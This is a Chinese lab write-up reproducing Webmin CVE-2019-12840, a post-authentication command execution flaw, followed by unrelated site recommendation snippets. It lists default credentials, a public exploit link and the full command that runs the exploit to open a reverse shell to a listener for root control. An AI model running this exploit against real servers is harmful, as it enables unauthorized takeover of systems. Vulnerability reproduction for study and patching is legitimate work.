漏洞描述：

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。Webmin 1.962版本及之前版本存在安全漏洞，该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码：root:password

复现过程：

1.访问https://ip:port，出现如下页面，开始实验

2.建立监听端口


3.下载exp，并修改文件内容

https://github.com/KrE80r/webmin_cve-2019-12840_poc

使用前注意修改py文件中的121行的目标端口号和122行的监听端口号

4.运行exp

python3 CVE-2019-12840.py -u https://ip  (目标ip) -p port(目标端口)  -U root -P password -lhost ip(监听ip) -lport port(监听端口)

5.成功监听

如此即可继承Web服务器程序的权限，去执行系统命令或读写文件，通过反弹shell控制整个网站，甚至控制整个服务器。

修复建议：

1.升级版本。

# java # 开发语言
Logo
乐奇 Rokid 开放社区

更多推荐

用径向菜单完成 macOS 窗口管理的 Loop 上手指引

周三上午，你要同时摆好代码、终端、文档三个窗口。别急着来回拖拽，先按住触发键，把鼠标指向屏幕右侧，窗口就落进了右半屏。这就是 macOS 窗口管理工具 Loop，它用径向菜单和预览窗口，替掉了繁琐的拖边操作。## 🚀 5 步装好 Loop 并完成第一次窗口调整**第 1 步：安装**用 Homebrew 一行装好：```brew install loop```也可以克隆源

avatar 乐奇 Rokid 开放社区

llmfit 姊妹项目生态：sympozium、llmserve 与 llama-panel 完整指南

**llmfit** 是一个帮你确认本地硬件能跑哪些开源大模型的实用工具：它自动检测 CPU、内存、GPU 和显存，为数百个模型打分排序。但它并不是孤立的——项目 README 的 "Sister projects" 章节列出了三到四个姊妹项目：**sympozium、llmserve、llama-panel**（以及 llmfit-gui），分别补齐了"选模型 → 跑服务 → 管实例 → 上集群

avatar 乐奇 Rokid 开放社区

Hydra 1.1 到 1.2 升级指南：@hydra.main() 与 hydra.initialize() 的 config_path 默认行为变更

Hydra 从 1.2 开始，当 `version_base >= "1.2"` 时，`@hydra.main()` 和 `hydra.initialize()` 的 `config_path` 参数默认值由"应用所在的目录"变更为 `None`，即不再向配置搜索路径（Config Search Path）中自动添加任何目录。这篇指南梳理 Hydra 1.0 → 1.1 → 1.2 三个阶段 `c

avatar 乐奇 Rokid 开放社区